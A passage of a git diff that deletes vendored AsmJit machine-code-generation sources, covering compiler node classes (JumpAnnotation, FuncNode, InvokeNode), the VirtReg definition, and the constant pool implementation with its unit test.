virtual register `index`. - //! - //! \note This is not the same as virtual register id. The conversion between - //! id and its index is implemented by \ref Operand_::virtIdToIndex() and \ref - //! Operand_::indexToVirtId() functions. - inline VirtReg* virtRegByIndex(uint32_t index) const noexcept { return _vRegArray[index]; } - - //! Returns an array of all virtual registers managed by the Compiler. - inline const ZoneVector& virtRegs() const noexcept { return _vRegArray; } - - //! \name Stack - //! \{ - - //! Creates a new stack of the given `size` and `alignment` and stores it to `out`. - //! - //! \note `name` can be used to give the stack a name, for debugging purposes. - ASMJIT_API Error _newStack(BaseMem* out, uint32_t size, uint32_t alignment, const char* name = nullptr); - - //! Updates the stack size of a stack created by `_newStack()` by its `virtId`. - ASMJIT_API Error setStackSize(uint32_t virtId, uint32_t newSize, uint32_t newAlignment = 0); - - //! Updates the stack size of a stack created by `_newStack()`. - inline Error setStackSize(const BaseMem& mem, uint32_t newSize, uint32_t newAlignment = 0) { - return setStackSize(mem.id(), newSize, newAlignment); - } - - //! \} - - //! \name Constants - //! \{ - - //! Creates a new constant of the given `scope` (see \ref ConstPool::Scope). - //! - //! This function adds a constant of the given `size` to the built-in \ref - //! ConstPool and stores the reference to that constant to the `out` operand. - ASMJIT_API Error _newConst(BaseMem* out, uint32_t scope, const void* data, size_t size); - - //! \} - - //! \name Miscellaneous - //! \{ - - //! Rename the given virtual register `reg` to a formatted string `fmt`. - ASMJIT_API void rename(const BaseReg& reg, const char* fmt, ...); - - //! \} - - //! \name Jump Annotations - //! \{ - - inline const ZoneVector& jumpAnnotations() const noexcept { - return _jumpAnnotations; - } - - ASMJIT_API Error newJumpNode(JumpNode** out, uint32_t instId, uint32_t instOptions, const Operand_& o0, JumpAnnotation* annotation); - ASMJIT_API Error emitAnnotatedJump(uint32_t instId, const Operand_& o0, JumpAnnotation* annotation); - - //! Returns a new `JumpAnnotation` instance, which can be used to aggregate - //! possible targets of a jump where the target is not a label, for example - //! to implement jump tables. - ASMJIT_API JumpAnnotation* newJumpAnnotation(); - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("alloc() has no effect, it will be removed in the future") - inline void alloc(BaseReg&) {} - ASMJIT_DEPRECATED("spill() has no effect, it will be removed in the future") - inline void spill(BaseReg&) {} -#endif // !ASMJIT_NO_DEPRECATED - - //! \name Events - //! \{ - - ASMJIT_API Error onAttach(CodeHolder* code) noexcept override; - ASMJIT_API Error onDetach(CodeHolder* code) noexcept override; - - //! \} -}; - -// ============================================================================ -// [asmjit::JumpAnnotation] -// ============================================================================ - -//! Jump annotation used to annotate jumps. -//! -//! \ref BaseCompiler allows to emit jumps where the target is either register -//! or memory operand. Such jumps cannot be trivially inspected, so instead of -//! doing heuristics AsmJit allows to annotate such jumps with possible targets. -//! Register allocator then use the annotation to construct control-flow, which -//! is then used by liveness analysis and other tools to prepare ground for -//! register allocation. -class JumpAnnotation { -public: - ASMJIT_NONCOPYABLE(JumpAnnotation) - - //! Compiler that owns this JumpAnnotation. - BaseCompiler* _compiler; - //! Annotation identifier. - uint32_t _annotationId; - //! Vector of label identifiers, see \ref labelIds(). - ZoneVector _labelIds; - - inline JumpAnnotation(BaseCompiler* compiler, uint32_t annotationId) noexcept - : _compiler(compiler), - _annotationId(annotationId) {} - - //! Returns the compiler that owns this JumpAnnotation. - inline BaseCompiler* compiler() const noexcept { return _compiler; } - //! Returns the annotation id. - inline uint32_t annotationId() const noexcept { return _annotationId; } - //! Returns a vector of label identifiers that lists all targets of the jump. - const ZoneVector& labelIds() const noexcept { return _labelIds; } - - //! Tests whether the given `label` is a target of this JumpAnnotation. - inline bool hasLabel(const Label& label) const noexcept { return hasLabelId(label.id()); } - //! Tests whether the given `labelId` is a target of this JumpAnnotation. - inline bool hasLabelId(uint32_t labelId) const noexcept { return _labelIds.contains(labelId); } - - //! Adds the `label` to the list of targets of this JumpAnnotation. - inline Error addLabel(const Label& label) noexcept { return addLabelId(label.id()); } - //! Adds the `labelId` to the list of targets of this JumpAnnotation. - inline Error addLabelId(uint32_t labelId) noexcept { return _labelIds.append(&_compiler->_allocator, labelId); } -}; - -// ============================================================================ -// [asmjit::JumpNode] -// ============================================================================ - -//! Jump instruction with \ref JumpAnnotation. -//! -//! \note This node should be only used to represent jump where the jump target -//! cannot be deduced by examining instruction operands. For example if the jump -//! target is register or memory location. This pattern is often used to perform -//! indirect jumps that use jump table, e.g. to implement `switch{}` statement. -class JumpNode : public InstNode { -public: - ASMJIT_NONCOPYABLE(JumpNode) - - JumpAnnotation* _annotation; - - //! \name Construction & Destruction - //! \{ - - ASMJIT_INLINE JumpNode(BaseCompiler* cc, uint32_t instId, uint32_t options, uint32_t opCount, JumpAnnotation* annotation) noexcept - : InstNode(cc, instId, options, opCount, kBaseOpCapacity), - _annotation(annotation) { - setType(kNodeJump); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether this JumpNode has associated a \ref JumpAnnotation. - inline bool hasAnnotation() const noexcept { return _annotation != nullptr; } - //! Returns the \ref JumpAnnotation associated with this jump, or `nullptr`. - inline JumpAnnotation* annotation() const noexcept { return _annotation; } - //! Sets the \ref JumpAnnotation associated with this jump to `annotation`. - inline void setAnnotation(JumpAnnotation* annotation) noexcept { _annotation = annotation; } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncNode] -// ============================================================================ - -//! Function node represents a function used by \ref BaseCompiler. -//! -//! A function is composed of the following: -//! -//! - Function entry, \ref FuncNode acts as a label, so the entry is implicit. -//! To get the entry, simply use \ref FuncNode::label(), which is the same -//! as \ref LabelNode::label(). -//! -//! - Function exit, which is represented by \ref FuncNode::exitNode(). A -//! helper function \ref FuncNode::exitLabel() exists and returns an exit -//! label instead of node. -//! -//! - Function \ref FuncNode::endNode() sentinel. This node marks the end of -//! a function - there should be no code that belongs to the function after -//! this node, but the Compiler doesn't enforce that at the moment. -//! -//! - Function detail, see \ref FuncNode::detail(). -//! -//! - Function frame, see \ref FuncNode::frame(). -//! -//! - Function arguments mapped to virtual registers, see \ref FuncNode::args(). -//! -//! In a node list, the function and its body looks like the following: -//! -//! \code{.unparsed} -//! [...] - Anything before the function. -//! -//! [FuncNode] - Entry point of the function, acts as a label as well. -//! - Prolog inserted by the register allocator. -//! {...} - Function body - user code basically. -//! [ExitLabel] - Exit label -//! - Epilog inserted by the register allocator. -//! - Return inserted by the register allocator. -//! {...} - Can contain data or user code (error handling, special cases, ...). -//! [FuncEnd] - End sentinel -//! -//! [...] - Anything after the function. -//! \endcode -//! -//! When a function is added to the compiler by \ref BaseCompiler::addFunc() it -//! actually inserts 3 nodes (FuncNode, ExitLabel, and FuncEnd) and sets the -//! current cursor to be FuncNode. When \ref BaseCompiler::endFunc() is called -//! the cursor is set to FuncEnd. This guarantees that user can use ExitLabel -//! as a marker after additional code or data can be placed, and it's a common -//! practice. -class FuncNode : public LabelNode { -public: - ASMJIT_NONCOPYABLE(FuncNode) - - //! Arguments pack. - struct ArgPack { - VirtReg* _data[Globals::kMaxValuePack]; - - inline void reset() noexcept { - for (size_t valueIndex = 0; valueIndex < Globals::kMaxValuePack; valueIndex++) - _data[valueIndex] = nullptr; - } - - inline VirtReg*& operator[](size_t valueIndex) noexcept { return _data[valueIndex]; } - inline VirtReg* const& operator[](size_t valueIndex) const noexcept { return _data[valueIndex]; } - }; - - //! Function detail. - FuncDetail _funcDetail; - //! Function frame. - FuncFrame _frame; - //! Function exit label. - LabelNode* _exitNode; - //! Function end (sentinel). - SentinelNode* _end; - - //! Argument packs. - ArgPack* _args; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `FuncNode` instance. - //! - //! Always use `BaseCompiler::addFunc()` to create `FuncNode`. - ASMJIT_INLINE FuncNode(BaseBuilder* cb) noexcept - : LabelNode(cb), - _funcDetail(), - _frame(), - _exitNode(nullptr), - _end(nullptr), - _args(nullptr) { - setType(kNodeFunc); - } - - //! \} - - //! \{ - //! \name Accessors - - //! Returns function exit `LabelNode`. - inline LabelNode* exitNode() const noexcept { return _exitNode; } - //! Returns function exit label. - inline Label exitLabel() const noexcept { return _exitNode->label(); } - - //! Returns "End of Func" sentinel. - inline SentinelNode* endNode() const noexcept { return _end; } - - //! Returns function declaration. - inline FuncDetail& detail() noexcept { return _funcDetail; } - //! Returns function declaration. - inline const FuncDetail& detail() const noexcept { return _funcDetail; } - - //! Returns function frame. - inline FuncFrame& frame() noexcept { return _frame; } - //! Returns function frame. - inline const FuncFrame& frame() const noexcept { return _frame; } - - //! Tests whether the function has a return value. - inline bool hasRet() const noexcept { return _funcDetail.hasRet(); } - //! Returns arguments count. - inline uint32_t argCount() const noexcept { return _funcDetail.argCount(); } - - //! Returns argument packs. - inline ArgPack* argPacks() const noexcept { return _args; } - - //! Returns argument pack at `argIndex`. - inline ArgPack& argPack(size_t argIndex) const noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - return _args[argIndex]; - } - - //! Sets argument at `argIndex`. - inline void setArg(size_t argIndex, VirtReg* vReg) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - _args[argIndex][0] = vReg; - } - - //! Sets argument at `argIndex` and `valueIndex`. - inline void setArg(size_t argIndex, size_t valueIndex, VirtReg* vReg) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - _args[argIndex][valueIndex] = vReg; - } - - //! Resets argument pack at `argIndex`. - inline void resetArg(size_t argIndex) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - _args[argIndex].reset(); - } - - //! Resets argument pack at `argIndex`. - inline void resetArg(size_t argIndex, size_t valueIndex) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - _args[argIndex][valueIndex] = nullptr; - } - - //! Returns function attributes. - inline uint32_t attributes() const noexcept { return _frame.attributes(); } - //! Adds `attrs` to the function attributes. - inline void addAttributes(uint32_t attrs) noexcept { _frame.addAttributes(attrs); } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncRetNode] -// ============================================================================ - -//! Function return, used by \ref BaseCompiler. -class FuncRetNode : public InstNode { -public: - ASMJIT_NONCOPYABLE(FuncRetNode) - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `FuncRetNode` instance. - inline FuncRetNode(BaseBuilder* cb) noexcept : InstNode(cb, BaseInst::kIdAbstract, 0, 0) { - _any._nodeType = kNodeFuncRet; - } - - //! \} -}; - -// ============================================================================ -// [asmjit::InvokeNode] -// ============================================================================ - -//! Function invocation, used by \ref BaseCompiler. -class InvokeNode : public InstNode { -public: - ASMJIT_NONCOPYABLE(InvokeNode) - - //! Operand pack provides multiple operands that can be associated with a - //! single return value of function argument. Sometims this is necessary to - //! express an argument or return value that requires multiple registers, for - //! example 64-bit value in 32-bit mode or passing / returning homogenous data - //! structures. - struct OperandPack { - //! Operands. - Operand_ _data[Globals::kMaxValuePack]; - - //! Reset the pack by resetting all operands in the pack. - inline void reset() noexcept { - for (size_t valueIndex = 0; valueIndex < Globals::kMaxValuePack; valueIndex++) - _data[valueIndex].reset(); - } - - //! Returns an operand at the given `valueIndex`. - inline Operand& operator[](size_t valueIndex) noexcept { - ASMJIT_ASSERT(valueIndex < Globals::kMaxValuePack); - return _data[valueIndex].as(); - } - - //! Returns an operand at the given `valueIndex` (const). - const inline Operand& operator[](size_t valueIndex) const noexcept { - ASMJIT_ASSERT(valueIndex < Globals::kMaxValuePack); - return _data[valueIndex].as(); - } - }; - - //! Function detail. - FuncDetail _funcDetail; - //! Function return value(s). - OperandPack _rets; - //! Function arguments. - OperandPack* _args; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `InvokeNode` instance. - inline InvokeNode(BaseBuilder* cb, uint32_t instId, uint32_t options) noexcept - : InstNode(cb, instId, options, kBaseOpCapacity), - _funcDetail(), - _args(nullptr) { - setType(kNodeInvoke); - _resetOps(); - _rets.reset(); - addFlags(kFlagIsRemovable); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Sets the function signature. - inline Error init(const FuncSignature& signature, const Environment& environment) noexcept { - return _funcDetail.init(signature, environment); - } - - //! Returns the function detail. - inline FuncDetail& detail() noexcept { return _funcDetail; } - //! Returns the function detail. - inline const FuncDetail& detail() const noexcept { return _funcDetail; } - - //! Returns the target operand. - inline Operand& target() noexcept { return _opArray[0].as(); } - //! \overload - inline const Operand& target() const noexcept { return _opArray[0].as(); } - - //! Returns the number of function return values. - inline bool hasRet() const noexcept { return _funcDetail.hasRet(); } - //! Returns the number of function arguments. - inline uint32_t argCount() const noexcept { return _funcDetail.argCount(); } - - //! Returns operand pack representing function return value(s). - inline OperandPack& retPack() noexcept { return _rets; } - //! Returns operand pack representing function return value(s). - inline const OperandPack& retPack() const noexcept { return _rets; } - - //! Returns the return value at the given `valueIndex`. - inline Operand& ret(size_t valueIndex = 0) noexcept { return _rets[valueIndex]; } - //! \overload - inline const Operand& ret(size_t valueIndex = 0) const noexcept { return _rets[valueIndex]; } - - //! Returns operand pack representing function return value(s). - inline OperandPack& argPack(size_t argIndex) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - return _args[argIndex]; - } - //! \overload - inline const OperandPack& argPack(size_t argIndex) const noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - return _args[argIndex]; - } - - //! Returns a function argument at the given `argIndex`. - inline Operand& arg(size_t argIndex, size_t valueIndex) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - return _args[argIndex][valueIndex]; - } - //! \overload - inline const Operand& arg(size_t argIndex, size_t valueIndex) const noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - return _args[argIndex][valueIndex]; - } - - //! Sets the function return value at `i` to `op`. - inline void _setRet(size_t valueIndex, const Operand_& op) noexcept { _rets[valueIndex] = op; } - //! Sets the function argument at `i` to `op`. - inline void _setArg(size_t argIndex, size_t valueIndex, const Operand_& op) noexcept { - ASMJIT_ASSERT(argIndex < argCount()); - _args[argIndex][valueIndex] = op; - } - - //! Sets the function return value at `valueIndex` to `reg`. - inline void setRet(size_t valueIndex, const BaseReg& reg) noexcept { _setRet(valueIndex, reg); } - - //! Sets the first function argument in a value-pack at `argIndex` to `reg`. - inline void setArg(size_t argIndex, const BaseReg& reg) noexcept { _setArg(argIndex, 0, reg); } - //! Sets the first function argument in a value-pack at `argIndex` to `imm`. - inline void setArg(size_t argIndex, const Imm& imm) noexcept { _setArg(argIndex, 0, imm); } - - //! Sets the function argument at `argIndex` and `valueIndex` to `reg`. - inline void setArg(size_t argIndex, size_t valueIndex, const BaseReg& reg) noexcept { _setArg(argIndex, valueIndex, reg); } - //! Sets the function argument at `argIndex` and `valueIndex` to `imm`. - inline void setArg(size_t argIndex, size_t valueIndex, const Imm& imm) noexcept { _setArg(argIndex, valueIndex, imm); } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncPass] -// ============================================================================ - -//! Function pass extends \ref Pass with \ref FuncPass::runOnFunction(). -class ASMJIT_VIRTAPI FuncPass : public Pass { -public: - ASMJIT_NONCOPYABLE(FuncPass) - typedef Pass Base; - - //! \name Construction & Destruction - //! \{ - - ASMJIT_API FuncPass(const char* name) noexcept; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the associated `BaseCompiler`. - inline BaseCompiler* cc() const noexcept { return static_cast(_cb); } - - //! \} - - //! \name Run - //! \{ - - //! Calls `runOnFunction()` on each `FuncNode` node found. - ASMJIT_API Error run(Zone* zone, Logger* logger) override; - - //! Called once per `FuncNode`. - virtual Error runOnFunction(Zone* zone, Logger* logger, FuncNode* func) = 0; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_COMPILER -#endif // ASMJIT_CORE_COMPILER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/compilerdefs.h b/src/Theodosius/asmjit/core/compilerdefs.h deleted file mode 100644 index 32f0757..0000000 --- a/src/Theodosius/asmjit/core/compilerdefs.h +++ /dev/null @@ -1,170 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_COMPILERDEFS_H_INCLUDED -#define ASMJIT_CORE_COMPILERDEFS_H_INCLUDED - -#include "../core/api-config.h" -#include "../core/operand.h" -#include "../core/zonestring.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class RAWorkReg; - -//! \addtogroup asmjit_compiler -//! \{ - -// ============================================================================ -// [asmjit::VirtReg] -// ============================================================================ - -//! Virtual register data, managed by \ref BaseCompiler. -class VirtReg { -public: - ASMJIT_NONCOPYABLE(VirtReg) - - //! Virtual register id. - uint32_t _id = 0; - //! Virtual register info (signature). - RegInfo _info = {}; - //! Virtual register size (can be smaller than `regInfo._size`). - uint32_t _virtSize = 0; - //! Virtual register alignment (for spilling). - uint8_t _alignment = 0; - //! Type-id. - uint8_t _typeId = 0; - //! Virtual register weight for alloc/spill decisions. - uint8_t _weight = 1; - //! True if this is a fixed register, never reallocated. - uint8_t _isFixed : 1; - //! True if the virtual register is only used as a stack (never accessed as register). - uint8_t _isStack : 1; - uint8_t _reserved : 6; - - //! Virtual register name (user provided or automatically generated). - ZoneString<16> _name {}; - - // ------------------------------------------------------------------------- - // The following members are used exclusively by RAPass. They are initialized - // when the VirtReg is created to NULL pointers and then changed during RAPass - // execution. RAPass sets them back to NULL before it returns. - // ------------------------------------------------------------------------- - - //! Reference to `RAWorkReg`, used during register allocation. - RAWorkReg* _workReg = nullptr; - - //! \name Construction & Destruction - //! \{ - - inline VirtReg(uint32_t id, uint32_t signature, uint32_t virtSize, uint32_t alignment, uint32_t typeId) noexcept - : _id(id), - _info { signature }, - _virtSize(virtSize), - _alignment(uint8_t(alignment)), - _typeId(uint8_t(typeId)), - _isFixed(false), - _isStack(false), - _reserved(0) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the virtual register id. - inline uint32_t id() const noexcept { return _id; } - - //! Returns the virtual register name. - inline const char* name() const noexcept { return _name.data(); } - //! Returns the size of the virtual register name. - inline uint32_t nameSize() const noexcept { return _name.size(); } - - //! Returns a register information that wraps the register signature. - inline const RegInfo& info() const noexcept { return _info; } - //! Returns a virtual register type (maps to the physical register type as well). - inline uint32_t type() const noexcept { return _info.type(); } - //! Returns a virtual register group (maps to the physical register group as well). - inline uint32_t group() const noexcept { return _info.group(); } - - //! Returns a real size of the register this virtual register maps to. - //! - //! For example if this is a 128-bit SIMD register used for a scalar single - //! precision floating point value then its virtSize would be 4, however, the - //! `regSize` would still say 16 (128-bits), because it's the smallest size - //! of that register type. - inline uint32_t regSize() const noexcept { return _info.size(); } - - //! Returns a register signature of this virtual register. - inline uint32_t signature() const noexcept { return _info.signature(); } - - //! Returns the virtual register size. - //! - //! The virtual register size describes how many bytes the virtual register - //! needs to store its content. It can be smaller than the physical register - //! size, see `regSize()`. - inline uint32_t virtSize() const noexcept { return _virtSize; } - - //! Returns the virtual register alignment. - inline uint32_t alignment() const noexcept { return _alignment; } - - //! Returns the virtual register type id, see `Type::Id`. - inline uint32_t typeId() const noexcept { return _typeId; } - - //! Returns the virtual register weight - the register allocator can use it - //! as explicit hint for alloc/spill decisions. - inline uint32_t weight() const noexcept { return _weight; } - //! Sets the virtual register weight (0 to 255) - the register allocator can - //! use it as explicit hint for alloc/spill decisions and initial bin-packing. - inline void setWeight(uint32_t weight) noexcept { _weight = uint8_t(weight); } - - //! Returns whether the virtual register is always allocated to a fixed - //! physical register (and never reallocated). - //! - //! \note This is only used for special purposes and it's mostly internal. - inline bool isFixed() const noexcept { return bool(_isFixed); } - - //! Returns whether the virtual register is indeed a stack that only uses - //! the virtual register id for making it accessible. - //! - //! \note It's an error if a stack is accessed as a register. - inline bool isStack() const noexcept { return bool(_isStack); } - - inline bool hasWorkReg() const noexcept { return _workReg != nullptr; } - inline RAWorkReg* workReg() const noexcept { return _workReg; } - inline void setWorkReg(RAWorkReg* workReg) noexcept { _workReg = workReg; } - inline void resetWorkReg() noexcept { _workReg = nullptr; } - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_COMPILERDEFS_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/constpool.cpp b/src/Theodosius/asmjit/core/constpool.cpp deleted file mode 100644 index 65c995b..0000000 --- a/src/Theodosius/asmjit/core/constpool.cpp +++ /dev/null @@ -1,375 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/constpool.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::ConstPool - Construction / Destruction] -// ============================================================================ - -ConstPool::ConstPool(Zone* zone) noexcept { reset(zone); } -ConstPool::~ConstPool() noexcept {} - -// ============================================================================ -// [asmjit::ConstPool - Reset] -// ============================================================================ - -void ConstPool::reset(Zone* zone) noexcept { - _zone = zone; - - size_t dataSize = 1; - for (size_t i = 0; i < ASMJIT_ARRAY_SIZE(_tree); i++) { - _tree[i].reset(); - _tree[i].setDataSize(dataSize); - _gaps[i] = nullptr; - dataSize <<= 1; - } - - _gapPool = nullptr; - _size = 0; - _alignment = 0; -} - -// ============================================================================ -// [asmjit::ConstPool - Ops] -// ============================================================================ - -static ASMJIT_INLINE ConstPool::Gap* ConstPool_allocGap(ConstPool* self) noexcept { - ConstPool::Gap* gap = self->_gapPool; - if (!gap) - return self->_zone->allocT(); - - self->_gapPool = gap->_next; - return gap; -} - -static ASMJIT_INLINE void ConstPool_freeGap(ConstPool* self, ConstPool::Gap* gap) noexcept { - gap->_next = self->_gapPool; - self->_gapPool = gap; -} - -static void ConstPool_addGap(ConstPool* self, size_t offset, size_t size) noexcept { - ASMJIT_ASSERT(size > 0); - - while (size > 0) { - size_t gapIndex; - size_t gapSize; - - if (size >= 16 && Support::isAligned(offset, 16)) { - gapIndex = ConstPool::kIndex16; - gapSize = 16; - } - else if (size >= 8 && Support::isAligned(offset, 8)) { - gapIndex = ConstPool::kIndex8; - gapSize = 8; - } - else if (size >= 4 && Support::isAligned(offset, 4)) { - gapIndex = ConstPool::kIndex4; - gapSize = 4; - } - else if (size >= 2 && Support::isAligned(offset, 2)) { - gapIndex = ConstPool::kIndex2; - gapSize = 2; - } - else { - gapIndex = ConstPool::kIndex1; - gapSize = 1; - } - - // We don't have to check for errors here, if this failed nothing really - // happened (just the gap won't be visible) and it will fail again at - // place where the same check would generate `kErrorOutOfMemory` error. - ConstPool::Gap* gap = ConstPool_allocGap(self); - if (!gap) - return; - - gap->_next = self->_gaps[gapIndex]; - self->_gaps[gapIndex] = gap; - - gap->_offset = offset; - gap->_size = gapSize; - - offset += gapSize; - size -= gapSize; - } -} - -Error ConstPool::add(const void* data, size_t size, size_t& dstOffset) noexcept { - size_t treeIndex; - - if (size == 32) - treeIndex = kIndex32; - else if (size == 16) - treeIndex = kIndex16; - else if (size == 8) - treeIndex = kIndex8; - else if (size == 4) - treeIndex = kIndex4; - else if (size == 2) - treeIndex = kIndex2; - else if (size == 1) - treeIndex = kIndex1; - else - return DebugUtils::errored(kErrorInvalidArgument); - - ConstPool::Node* node = _tree[treeIndex].get(data); - if (node) { - dstOffset = node->_offset; - return kErrorOk; - } - - // Before incrementing the current offset try if there is a gap that can - // be used for the requested data. - size_t offset = ~size_t(0); - size_t gapIndex = treeIndex; - - while (gapIndex != kIndexCount - 1) { - ConstPool::Gap* gap = _gaps[treeIndex]; - - // Check if there is a gap. - if (gap) { - size_t gapOffset = gap->_offset; - size_t gapSize = gap->_size; - - // Destroy the gap for now. - _gaps[treeIndex] = gap->_next; - ConstPool_freeGap(this, gap); - - offset = gapOffset; - ASMJIT_ASSERT(Support::isAligned(offset, size)); - - gapSize -= size; - if (gapSize > 0) - ConstPool_addGap(this, gapOffset, gapSize); - } - - gapIndex++; - } - - if (offset == ~size_t(0)) { - // Get how many bytes have to be skipped so the address is aligned accordingly - // to the 'size'. - size_t diff = Support::alignUpDiff(_size, size); - - if (diff != 0) { - ConstPool_addGap(this, _size, diff); - _size += diff; - } - - offset = _size; - _size += size; - } - - // Add the initial node to the right index. - node = ConstPool::Tree::_newNode(_zone, data, size, offset, false); - if (!node) return DebugUtils::errored(kErrorOutOfMemory); - - _tree[treeIndex].insert(node); - _alignment = Support::max(_alignment, size); - - dstOffset = offset; - - // Now create a bunch of shared constants that are based on the data pattern. - // We stop at size 4, it probably doesn't make sense to split constants down - // to 1 byte. - size_t pCount = 1; - while (size > 4) { - size >>= 1; - pCount <<= 1; - - ASMJIT_ASSERT(treeIndex != 0); - treeIndex--; - - const uint8_t* pData = static_cast(data); - for (size_t i = 0; i < pCount; i++, pData += size) { - node = _tree[treeIndex].get(pData); - if (node) continue; - - node = ConstPool::Tree::_newNode(_zone, pData, size, offset + (i * size), true); - _tree[treeIndex].insert(node); - } - } - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::ConstPool - Reset] -// ============================================================================ - -struct ConstPoolFill { - inline ConstPoolFill(uint8_t* dst, size_t dataSize) noexcept : - _dst(dst), - _dataSize(dataSize) {} - - inline void operator()(const ConstPool::Node* node) noexcept { - if (!node->_shared) - memcpy(_dst + node->_offset, node->data(), _dataSize); - } - - uint8_t* _dst; - size_t _dataSize; -}; - -void ConstPool::fill(void* dst) const noexcept { - // Clears possible gaps, asmjit should never emit garbage to the output. - memset(dst, 0, _size); - - ConstPoolFill filler(static_cast(dst), 1); - for (size_t i = 0; i < ASMJIT_ARRAY_SIZE(_tree); i++) { - _tree[i].forEach(filler); - filler._dataSize <<= 1; - } -} - -// ============================================================================ -// [asmjit::ConstPool - Unit] -// ============================================================================ - -#if defined(ASMJIT_TEST) -UNIT(const_pool) { - Zone zone(32384 - Zone::kBlockOverhead); - ConstPool pool(&zone); - - uint32_t i; - uint32_t kCount = BrokenAPI::hasArg("--quick") ? 1000 : 1000000; - - INFO("Adding %u constants to the pool", kCount); - { - size_t prevOffset; - size_t curOffset; - uint64_t c = 0x0101010101010101u; - - EXPECT(pool.add(&c, 8, prevOffset) == kErrorOk); - EXPECT(prevOffset == 0); - - for (i = 1; i < kCount; i++) { - c++; - EXPECT(pool.add(&c, 8, curOffset) == kErrorOk); - EXPECT(prevOffset + 8 == curOffset); - EXPECT(pool.size() == (i + 1) * 8); - prevOffset = curOffset; - } - - EXPECT(pool.alignment() == 8); - } - - INFO("Retrieving %u constants from the pool", kCount); - { - uint64_t c = 0x0101010101010101u; - - for (i = 0; i < kCount; i++) { - size_t offset; - EXPECT(pool.add(&c, 8, offset) == kErrorOk); - EXPECT(offset == i * 8); - c++; - } - } - - INFO("Checking if the constants were split into 4-byte patterns"); - { - uint32_t c = 0x01010101; - for (i = 0; i < kCount; i++) { - size_t offset; - EXPECT(pool.add(&c, 4, offset) == kErrorOk); - EXPECT(offset == i * 8); - c++; - } - } - - INFO("Adding 2 byte constant to misalign the current offset"); - { - uint16_t c = 0xFFFF; - size_t offset; - - EXPECT(pool.add(&c, 2, offset) == kErrorOk); - EXPECT(offset == kCount * 8); - EXPECT(pool.alignment() == 8); - } - - INFO("Adding 8 byte constant to check if pool gets aligned again"); - { - uint64_t c = 0xFFFFFFFFFFFFFFFFu; - size_t offset; - - EXPECT(pool.add(&c, 8, offset) == kErrorOk); - EXPECT(offset == kCount * 8 + 8); - } - - INFO("Adding 2 byte constant to verify the gap is filled"); - { - uint16_t c = 0xFFFE; - size_t offset; - - EXPECT(pool.add(&c, 2, offset) == kErrorOk); - EXPECT(offset == kCount * 8 + 2); - EXPECT(pool.alignment() == 8); - } - - INFO("Checking reset functionality"); - { - pool.reset(&zone); - zone.reset(); - - EXPECT(pool.size() == 0); - EXPECT(pool.alignment() == 0); - } - - INFO("Checking pool alignment when combined constants are added"); - { - uint8_t bytes[32] = { 0 }; - size_t offset; - - pool.add(bytes, 1, offset); - EXPECT(pool.size() == 1); - EXPECT(pool.alignment() == 1); - EXPECT(offset == 0); - - pool.add(bytes, 2, offset); - EXPECT(pool.size() == 4); - EXPECT(pool.alignment() == 2); - EXPECT(offset == 2); - - pool.add(bytes, 4, offset); - EXPECT(pool.size() == 8); - EXPECT(pool.alignment() == 4); - EXPECT(offset == 4); - - pool.add(bytes, 4, offset); - EXPECT(pool.size() == 8); - EXPECT(pool.alignment() == 4); - EXPECT(offset == 4); - - pool.add(bytes, 32, offset); - EXPECT(pool.size() == 64); - EXPECT(pool.alignment() == 32); - EXPECT(offset == 32); - } -} -#endif - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/constpool.h b/src/Theodosius/asmjit/core/constpool.h deleted file mode 100644 index d9ac589..0000000 --- 